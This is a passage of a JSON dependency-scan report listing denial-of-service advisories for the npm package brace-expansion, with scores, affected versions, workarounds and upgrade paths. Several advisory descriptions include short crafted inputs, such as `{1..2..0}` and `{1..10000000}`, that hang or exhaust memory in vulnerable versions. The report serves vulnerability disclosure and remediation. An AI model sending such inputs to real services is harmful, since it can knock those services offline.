"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when 